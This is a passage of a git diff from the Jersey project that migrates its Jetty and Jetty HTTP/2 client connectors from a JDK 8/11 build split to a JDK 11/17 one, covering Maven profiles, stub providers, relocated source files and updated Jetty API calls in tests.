+     * @throws java.lang.IllegalArgumentException in case the {@code component} is neither {@code JerseyClient}
+     *                                            nor {@code JerseyWebTarget} instance or in case the component
+     *                                            is not configured to use a {@code JettyConnectorProvider}.
+     * @since 2.8
+     */
+    public static HttpClient getHttpClient(Configurable<?> component) {
+        if (!(component instanceof Initializable)) {
+            throw new IllegalArgumentException(
+                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+        }
+
+        final Initializable<?> initializable = (Initializable<?>) component;
+        Connector connector = initializable.getConfiguration().getConnector();
+        if (connector == null) {
+            initializable.preInitialize();
+            connector = initializable.getConfiguration().getConnector();
+        }
+
+        if (connector instanceof JettyConnector) {
+            return ((JettyConnector) connector).getHttpClient();
+        }
+
+        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+    }
+}
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
similarity index 93%
copy from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
copy to connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
index b061ef5..6453521 100644
--- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
+++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientContract.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
similarity index 84%
rename from connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
rename to connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
index 59c8fd3..2b9e8b2 100644
--- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
+++ b/connectors/jetty-connector/src/main/java17/org/glassfish/jersey/jetty/connector/JettyHttpClientSupplier.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2019, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,9 +15,7 @@
  */
 package org.glassfish.jersey.jetty.connector;
 
-import jakarta.ws.rs.ProcessingException;
 import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
 
 /**
  * Jetty HttpClient supplier to be registered into Jersey configuration to be used by {@link JettyConnector}.
@@ -53,9 +51,6 @@
 
     @Override
     public HttpClient getHttpClient() {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null; // does not work at JDK 1.8
+        return httpClient;
     }
 }
diff --git a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java b/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
deleted file mode 100644
index 8723025..0000000
--- a/connectors/jetty-connector/src/main/java8/org/glassfish/jersey/jetty/connector/JettyConnectorProvider.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.connector;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configuration;
-
-import org.glassfish.jersey.client.spi.Connector;
-import org.glassfish.jersey.client.spi.ConnectorProvider;
-
-import org.glassfish.jersey.internal.util.JdkVersion;
-
-/**
- * JDK 1.8 Jetty Connector stub which only throws exception when running on JDK 1.8
- * New Jetty (11+) does not support JDKs prior to 11
- *
- * @since 3.0.0
- */
-public class JettyConnectorProvider implements ConnectorProvider {
-
-    @Override
-    public Connector getConnector(Client client, Configuration runtimeConfig) {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null; // does not work at JDK 1.8
-    }
-
-}
diff --git a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
index 128d40b..6561153 100644
--- a/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
+++ b/connectors/jetty-connector/src/main/resources/org/glassfish/jersey/jetty/connector/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -18,4 +18,4 @@
 method.not.supported=Method {0} not supported.
 invalid.configurable.component.type=The supplied component "{0}" is not assignable from JerseyClient or JerseyWebTarget.
 expected.connector.provider.not.used=The supplied component is not configured to use a JettyConnectorProvider.
-not.supported=Jetty connector is not supported on JDK version less than 11.
+not.supported=Jetty connector is not supported on JDK version less than 17.
diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
index f0bfb60..16f1b55 100644
--- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
+++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/AuthTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -33,12 +33,12 @@
 
 import jakarta.inject.Singleton;
 
+import org.eclipse.jetty.client.BasicAuthentication;
 import org.glassfish.jersey.client.ClientConfig;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.server.ResourceConfig;
 import org.glassfish.jersey.test.JerseyTest;
 
-import org.eclipse.jetty.client.util.BasicAuthentication;
 import org.junit.jupiter.api.Test;
 import static org.junit.jupiter.api.Assertions.assertEquals;
 import static org.junit.jupiter.api.Assertions.assertTrue;
diff --git a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
index 2a49c00..782cf40 100644
--- a/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
+++ b/connectors/jetty-connector/src/test/java/org/glassfish/jersey/jetty/connector/CookieTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -95,7 +95,7 @@
 
         final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
         if (connector.getCookieStore() != null) {
-            assertTrue(connector.getCookieStore().getCookies().isEmpty());
+            assertTrue(connector.getCookieStore().all().isEmpty());
         } else {
             assertNull(connector.getCookieStore());
         }
@@ -113,9 +113,9 @@
         assertEquals("value", r.request().get(String.class));
 
         final JettyConnector connector = (JettyConnector) client.getConfiguration().getConnector();
-        assertNotNull(connector.getCookieStore().getCookies());
-        assertEquals(1, connector.getCookieStore().getCookies().size());
-        assertEquals("value", connector.getCookieStore().getCookies().get(0).getValue());
+        assertNotNull(connector.getCookieStore().all());
+        assertEquals(1, connector.getCookieStore().all().size());
+        assertEquals("value", connector.getCookieStore().all().get(0).getValue());
         client.close();
     }
 }
diff --git a/connectors/jetty-http2-connector/pom.xml b/connectors/jetty-http2-connector/pom.xml
index 0035670..454d5d6 100644
--- a/connectors/jetty-http2-connector/pom.xml
+++ b/connectors/jetty-http2-connector/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.connectors</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-jetty-http2-connector</artifactId>
@@ -34,10 +34,10 @@
 
     <properties>
         <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
-        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
+        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
         <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
     </properties>
 
     <dependencies>
@@ -46,28 +46,14 @@
             <artifactId>jetty-client</artifactId>
         </dependency>
         <dependency>
-            <groupId>org.eclipse.jetty.http2</groupId>
-            <artifactId>http2-client</artifactId>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
-            <groupId>org.eclipse.jetty.http2</groupId>
-            <artifactId>http2-http-client-transport</artifactId>
-            <exclusions>
-                <exclusion>
-                    <groupId>org.slf4j</groupId>
-                    <artifactId>slf4j-api</artifactId>
-                </exclusion>
-            </exclusions>
-        </dependency>
-        <dependency>
             <groupId>org.eclipse.jetty</groupId>
             <artifactId>jetty-util</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                </exclusion>
+            </exclusions>
         </dependency>
 
         <dependency>
@@ -84,21 +70,14 @@
         </dependency>
 
         <dependency>
-            <groupId>org.glassfish.jersey.containers</groupId>
-            <artifactId>jersey-container-jetty-http2</artifactId>
-            <version>${project.version}</version>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
             <artifactId>jersey-media-json-jackson</artifactId>
             <version>${project.version}</version>
             <scope>test</scope>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-            <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
-            <version>${project.version}</version>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
             <scope>test</scope>
         </dependency>
     </dependencies>
@@ -137,87 +116,13 @@
 
     <profiles>
         <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>com.sun.xml.bind</groupId>
-                    <artifactId>jaxb-osgi</artifactId>
-                    <scope>test</scope>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
             <id>JettyExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <properties>
-                <jetty.version>${jetty9.version}</jetty.version>
+                <jetty.version>${jetty11.version}</jetty.version>
             </properties>
-            <dependencies>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-client</artifactId>
-                    <version>${jetty.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-                <dependency>
-                    <groupId>org.eclipse.jetty</groupId>
-                    <artifactId>jetty-util</artifactId>
-                    <version>${jetty.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>org.slf4j</groupId>
-                            <artifactId>slf4j-api</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-            <build>
-                <directory>${java8.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java8.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/jetty/http2/connector/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
             <build>
                 <directory>${java11.build.outputDirectory}</directory>
                 <plugins>
@@ -238,17 +143,88 @@
                             </execution>
                         </executions>
                     </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-compiler-plugin</artifactId>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/jetty/http2/connector/*.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                    </plugin>
                 </plugins>
             </build>
         </profile>
         <profile>
-            <id>copyJDK11FilesToMultiReleaseJar</id>
+            <id>JettyInclude</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <dependencies>
+                <dependency>
+                    <groupId>org.eclipse.jetty.http2</groupId>
+                    <artifactId>jetty-http2-client</artifactId>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+                <dependency>
+                    <groupId>org.eclipse.jetty.http2</groupId>
+                    <artifactId>jetty-http2-client-transport</artifactId>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+                <dependency>
+                    <groupId>org.glassfish.jersey.containers</groupId>
+                    <artifactId>jersey-container-jetty-http2</artifactId>
+                    <version>${project.version}</version>
+                    <scope>test</scope>
+                </dependency>
+                <dependency>
+                    <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+                    <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
+                    <version>${project.version}</version>
+                    <scope>test</scope>
+                </dependency>
+            </dependencies>
+            <build>
+                <directory>${java17.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java17.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK17FilesToMultiReleaseJar</id>
             <activation>
                 <file>
-                    <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target11/classes/org/glassfish/jersey/jetty/connector/JettyHttp2ConnectorProvider.class</exists>
+                    <!-- ${java17.build.outputDirectory} does not work here -->
+                    <exists>target17/classes/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.class</exists>
                 </file>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -269,16 +245,16 @@
                         <inherited>true</inherited>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-classes</id>
+                                <id>copy-jdk17-classes</id>
                                 <phase>prepare-package</phase>
                                 <goals>
                                     <goal>copy-resources</goal>
                                 </goals>
                                 <configuration>
-                                    <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
                                     <resources>
                                         <resource>
-                                            <directory>${java11.build.outputDirectory}/classes</directory>
+                                            <directory>${java17.build.outputDirectory}/classes</directory>
                                         </resource>
                                     </resources>
                                 </configuration>
@@ -290,14 +266,14 @@
                         <artifactId>maven-antrun-plugin</artifactId>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-sources</id>
+                                <id>copy-jdk17-sources</id>
                                 <phase>package</phase>
                                 <configuration>
                                     <target>
-                                        <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
                                         <echo>sources-jar: ${sources-jar}</echo>
                                         <zip destfile="${sources-jar}" update="true">
-                                            <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+                                            <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
                                         </zip>
                                     </target>
                                 </configuration>
@@ -311,4 +287,5 @@
             </build>
         </profile>
     </profiles>
+
 </project>
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
index 454efd0..7d203cc 100644
--- a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -16,13 +16,12 @@
 
 package org.glassfish.jersey.jetty.http2.connector;
 
+import jakarta.ws.rs.ProcessingException;
 import org.eclipse.jetty.client.HttpClient;
-import org.eclipse.jetty.client.HttpClientTransport;
-import org.eclipse.jetty.http2.client.HTTP2Client;
-import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2;
-import org.glassfish.jersey.jetty.connector.JettyConnector;
+import org.glassfish.jersey.internal.util.JdkVersion;
 import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
 import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
 
 /**
  * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
@@ -41,15 +40,17 @@
     /**
      * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
      * to a {@link org.glassfish.jersey.client.ClientConfig}
-     * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
+     * @param http2Client seed doc for JDK 11+.
      */
     public JettyHttp2ClientSupplier(HttpClient http2Client) {
         this.http2Client = http2Client;
     }
 
     private static final HttpClient createHttp2Client() {
-        final HttpClientTransport transport =  new HttpClientTransportOverHTTP2(new HTTP2Client());
-        return new HttpClient(transport);
+        if (JdkVersion.getJdkVersion().getMajor() < 17) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
+        }
+        return null; // does not work at JDK lower than 17
     }
 
     @Override
diff --git a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
index 02eaf5a..301879c 100644
--- a/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
+++ b/connectors/jetty-http2-connector/src/main/java11/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -16,12 +16,11 @@
 
 package org.glassfish.jersey.jetty.http2.connector;
 
+import jakarta.ws.rs.ProcessingException;
 import jakarta.ws.rs.client.Client;
-import jakarta.ws.rs.core.Configurable;
 import jakarta.ws.rs.core.Configuration;
-import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.client.Initializable;
 import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.internal.util.JdkVersion;
 import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
 import org.glassfish.jersey.jetty.connector.LocalizationMessages;
 
@@ -33,26 +32,9 @@
 public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
     @Override
     public Connector getConnector(Client client, Configuration runtimeConfig) {
-        return new JettyHttp2Connector(client, runtimeConfig);
-    }
-
-    public static HttpClient getHttpClient(Configurable<?> component) {
-        if (!(component instanceof Initializable)) {
-            throw new IllegalArgumentException(
-                    LocalizationMessages.INVALID_CONFIGURABLE_COMPONENT_TYPE(component.getClass().getName()));
+        if (JdkVersion.getJdkVersion().getMajor() < 17) {
+            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
         }
-
-        final Initializable<?> initializable = (Initializable<?>) component;
-        Connector connector = initializable.getConfiguration().getConnector();
-        if (connector == null) {
-            initializable.preInitialize();
-            connector = initializable.getConfiguration().getConnector();
-        }
-
-        if (connector instanceof JettyHttp2Connector) {
-            return ((JettyHttp2Connector) connector).getHttpClient();
-        }
-
-        throw new IllegalArgumentException(LocalizationMessages.EXPECTED_CONNECTOR_PROVIDER_NOT_USED());
+        return null; // does not work at JDK lower than 17
     }
 }
\ No newline at end of file
diff --git a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
similarity index 77%
copy from connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
copy to connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
index 6275727..36556e0 100644
--- a/connectors/jetty-http2-connector/src/main/java8/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
+++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ClientSupplier.java
@@ -16,12 +16,13 @@
 
 package org.glassfish.jersey.jetty.http2.connector;
 
-import jakarta.ws.rs.ProcessingException;
 import org.eclipse.jetty.client.HttpClient;
-import org.glassfish.jersey.internal.util.JdkVersion;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
 import org.glassfish.jersey.jetty.connector.JettyHttpClientContract;
 import org.glassfish.jersey.jetty.connector.JettyHttpClientSupplier;
-import org.glassfish.jersey.jetty.connector.LocalizationMessages;
 
 /**
  * HTTP/2 enabled version of the {@link JettyHttpClientSupplier}
@@ -40,17 +41,15 @@
     /**
      * supplier for the {@code HttpClient} with {@code HttpClientTransportOverHTTP2} to be optionally registered
      * to a {@link org.glassfish.jersey.client.ClientConfig}
-     * @param http2Client seed doc for JDK 11+.
+     * @param http2Client a HttpClient to be supplied when {@link JettyConnector#getHttpClient()} is called.
      */
     public JettyHttp2ClientSupplier(HttpClient http2Client) {
         this.http2Client = http2Client;
     }
 
     private static final HttpClient createHttp2Client() {
-        if (JdkVersion.getJdkVersion().getMajor() < 11) {
-            throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-        }
-        return null; // does not work at JDK 1.8
+        final HttpClientTransport transport =  new HttpClientTransportOverHTTP2(new HTTP2Client());
+        return new HttpClient(transport);
     }
 
     @Override
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
new file mode 100644
index 0000000..a602b0d
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2Connector.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configuration;
+
+import org.eclipse.jetty.client.HttpClient;
+import org.eclipse.jetty.client.HttpClientTransport;
+import org.eclipse.jetty.http2.client.HTTP2Client;
+import org.eclipse.jetty.http2.client.transport.HttpClientTransportOverHTTP2;
+import org.eclipse.jetty.io.ClientConnector;
+import org.glassfish.jersey.jetty.connector.JettyConnector;
+
+import java.util.Optional;
+
+/**
+ * Extends {@link JettyConnector} with HTTP/2 transport support
+ *
+ * @since 2.41
+ */
+class JettyHttp2Connector extends JettyConnector {
+
+
+    /**
+     * Create the new Jetty HTTP/2 client connector.
+     *
+     * @param jaxrsClient JAX-RS client instance, for which the connector is created.
+     * @param config      client configuration.
+     */
+    JettyHttp2Connector(Client jaxrsClient, Configuration config) {
+        super(jaxrsClient, config);
+    }
+
+    /**
+     * provides required {@link HttpClientTransport} for client
+     *
+     * The overriden method provides {@link HttpClientTransportOverHTTP2} with initialized {@link HTTP2Client}
+     *
+     * @return {@link HttpClientTransportOverHTTP2}
+     * @since 2.41
+     */
+    @Override
+    protected HttpClientTransport initClientTransport(ClientConnector clientConnector) {
+        return new HttpClientTransportOverHTTP2(new HTTP2Client(clientConnector));
+    }
+
+    /**
+     * provides custom registered {@link HttpClient} (if any) with HTTP/2 support
+     *
+     * @param config configuration where {@link HttpClient} could be registered
+     * @return {@link HttpClient} instance if any was previously registered or NULL
+     *
+     * @since 2.41
+     */
+    @Override
+    protected HttpClient getRegisteredHttpClient(Configuration config) {
+        if (config.isRegistered(JettyHttp2ClientSupplier.class)) {
+            Optional<Object> contract = config.getInstances().stream()
+                    .filter(a-> JettyHttp2ClientSupplier.class.isInstance(a)).findFirst();
+            if (contract.isPresent()) {
+                return  ((JettyHttp2ClientSupplier) contract.get()).getHttpClient();
+            }
+        }
+        return null;
+    }
+}
diff --git a/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
new file mode 100644
index 0000000..02eaf5a
--- /dev/null
+++ b/connectors/jetty-http2-connector/src/main/java17/org/glassfish/jersey/jetty/http2/connector/JettyHttp2ConnectorProvider.java
@@ -0,0 +1,58 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2.connector;
+
+import jakarta.ws.rs.client.Client;
+import jakarta.ws.rs.core.Configurable;
+import jakarta.ws.rs.core.Configuration;
+import org.eclipse.jetty.client.HttpClient;
+import org.glassfish.jersey.client.Initializable;
+import org.glassfish.jersey.client.spi.Connector;
+import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jetty.connector.LocalizationMessages;
+
+/**
+ * Provides HTTP2 enabled version of the {@link JettyConnectorProvider} for a client
+ *
+ * @since 2.41
+ */
+public class JettyHttp2ConnectorProvider extends JettyConnectorProvider {
+    @Override
+    public Connector getConnector(Client client, Configuration runtimeConfig) {
+        return new JettyHttp2Connector(client, runtimeConfig);
+    }
+
